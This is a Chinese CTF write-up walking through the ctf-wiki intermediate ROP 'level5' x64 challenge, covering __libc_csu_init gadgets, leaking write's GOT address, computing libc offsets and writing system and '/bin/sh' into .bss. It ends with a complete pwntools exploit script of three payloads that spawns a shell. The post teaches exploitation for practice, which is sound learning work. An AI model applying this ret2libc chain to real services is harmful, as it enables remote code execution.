美文网首页
ctfwiki中级ROP level5详解

ctfwiki中级ROP level5详解

作者: Gaking_ | 来源:发表于2019-03-03 16:09 被阅读0次

emm第一篇自己写的详解 题目跟这儿下载

参考文章 一步一步学ROP之linux_x64篇 五

写的大概是傻瓜教程了吧,因为自己就是傻瓜

checksec

ida打开文件,f5反编译,双击main函数,观察,发现啥也没有,只有可怜的vulnerable_function函数。

分析一下,为了getshell我们要想办法输入命令system(“\bin\sh”),可以把这些命令写到bss段,然后想办法运行命令。

首先需要知道

-偏移 offset=function1真实地址-function1libc在库地址=function2真实地址-function2在libc库地址

-通过查找函数真实地址后三位可以查到所用的libc库和其他函数在库中地址

-而函数真实地址只有在被调用后才会得到

目前可用信息有自带的write函数和read函数,可以将信息写入外存和读入内存。调用函数需要知道函数真实地址,这就需要write函数将某个函数(我用了write函数)真实地址写入外存,然后查libc库得到其他函数libc库中的地址。

在x64下有一些万能的gadgets可以利用,比如_libc_csu_init()这个函数。一般来说,只要程序调用了libc.so,程序都会有这个函数用来对libc进行初始化操作。

右键,选择copy to assembly,然后按空格噻,得到一些整整齐齐的段名称和地址,查看_libc_csu_init()。

利用0x400606处的代码我们可以控制rbx,rbp,r12,r13,r14和r15的值,利用0x4005f0处的代码将r15的值赋值给rdx, r14的值赋值给rsi,r13的值赋值给edi,随后就会调用call qword ptr [r12+rbx*8],这时候将rbx赋值0,可以将想调用的函数地址传给r12。执行完函数之后,程序会对rbx+=1,然后对比rbp和rbx的值,如果相等就会继续向下执行并ret到我们想要继续执行的地址。所以为了让rbp和rbx的值相等,我们可以将rbp的值设置为1。

rbx  0

rbp  1

r12  想调用的函数地址

r13 ->edi 函数第三个参数 

r14 ->rsi 函数第二个参数

r15 ->rdx 函数第一个参数

payload1,利用write()输出write在内存中的地址。gadget是call qword ptr [r12+rbx*8],所以应该使用write.got的地址而不是write.plt的地址。并且为了返回到原程序中,重复利用buffer overflow的漏洞,我们需要继续覆盖栈上的数据,直到把返回值覆盖成目标函数的main函数为止。

这里要说一下第一个p64(0)是将栈占了8位空间,因为将鼠标挪到下图红圈位置,显示从0038到0030需要一些东西也就是pop_junk

exp在收到write()在内存中的地址

利用真实地址后三位查库libc库

可以计算出system()在内存中的地址

构造payload2,利用read()将system()的地址以及“/bin/sh”读入到.bss段内存中

最后构造payload3,调用system()函数执行“/bin/sh”。注意,system()的地址保存在了.bss段首地址上,“/bin/sh”的地址保存在了.bss段首地址+8字节上。

出题人说: 要注意的是,当我们把程序的io重定向到socket上的时候,根据网络协议,因为发送的数据包过大,read()有时会截断payload,造成payload传输不完整造成攻击失败。这时候要多试几次即可成功。如果进行远程攻击的话,需要保证ping值足够小才行(局域网)。

反正我就需要试几次才能getshell,反正自己搞出来代码贼开心。文章用的exp为了美观我就改了改原出题人给的exp。

最终exp:()

from pwn import *

elf = ELF('level5')

p = process('./level5')

write_got = elf.got['write']

print "write_got: " + hex(write_got)

read_got = elf.got['read']

print "read_got: " + hex(read_got)

main_addr = 0x400564

bss_addr = 0x601028

payload1 =  "\x00"*136

payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(write_got) + p64(1) + p64(write_got) + p64(8)

# pop_junk_rbx_rbp_r12_r13_r14_r15_ret

payload1 += p64(0x4005F0)

payload1 += "a"*56

payload1 += p64(main_addr)

p.recvuntil("Hello, World\n")

print "\n#############sending payload1#############\n"

p.send(payload1)

sleep(1)

write_addr = u64(p.recv(8))

print "write_addr: " + hex(write_addr)

write_libc = 0x0f72b0

read_libc = 0x0f7250

system_libc = 0x045390

binsh_addr = 0x18cd57

offset = write_addr - write_libc

print "offset: " + hex(offset)

system_addr = offset + system_libc

print "system_addr: " + hex(system_addr)

p.recvuntil("Hello, World\n")

payload2 =  "a"*136

payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(read_got) + p64(0) + p64(bss_addr) + p64(16)

# pop_junk_rbx_rbp_r12_r13_r14_r15_ret

payload2 += p64(0x4005F0)

payload2 += "a"*56

payload2 += p64(main_addr)

print "\n#############sending payload2#############\n"

p.send(payload2)

sleep(1)

p.send(p64(system_addr))

p.send("/bin/sh\00")

sleep(1)

p.recvuntil("Hello, World\n")

payload3 =  "\x00"*136

payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0)

# pop_junk_rbx_rbp_r12_r13_r14_r15_ret

payload3 += p64(0x4005F0)

payload3 += "\x00"*56

payload3 += p64(main_addr)

print "\n#############sending payload3#############\n"

sleep(1)

p.send(payload3)

p.interactive()

运行结果:

相关文章

  • ctfwiki中级ROP level5详解

    emm第一篇自己写的详解题目跟这儿下载 参考文章 一步一步学ROP之linux_x64篇 五 写的大概是傻瓜教程了...

  • Hctf-2016 BROP

    本来是想学学blind rop,结果ctfwiki上给的例题直接飙到hctf去了。。。。踩了许多的坑没有二进制文件...

  • 栈溢出中级ROP

    学习中级ROP:__libc_csu_init 函数实现对libc的初始化操作,在 libc_csu_init 中...

  • [JarvisOj](pwn)rop_rop_rop

    简介 : 利用代码 : 方法一 :(按照出题人的思路 , 分别调用 Step1, Step2, Step3, 在内...

  • ROP|frame faking|

    基础ROP *目前主要的是 ROP(Return Oriented Programming),其主要思想是在栈缓冲...

  • NX防护机制绕过 ROP

    什么是ROP *ROP(Return Oriented Programming)即面向返回地址编程,其主要思想是在...

  • rop and rop2 wp

    题目来源:国外的一个ctf平台hackme rop hint: ROP buffer overflow防护机制: ...

  • 基本ROP讲解

    0x01 前言 在了解栈溢出后,我们再从原理和方法两方面深入理解基本ROP。 0x02 什么是ROP ROP的全称...

  • ROP

    很明显的栈溢出,想了半天没有头绪,然后发现可以用ROPgadget –binary rop –ropchain 直...

  • ROP

    ROP全称为Return-oriented Programming(面向返回的编程)是一种新型的基于代码复用技术的...

网友评论

      本文标题:ctfwiki中级ROP level5详解

      本文链接:https://www.haomeiwen.com/subject/renpuqtx.html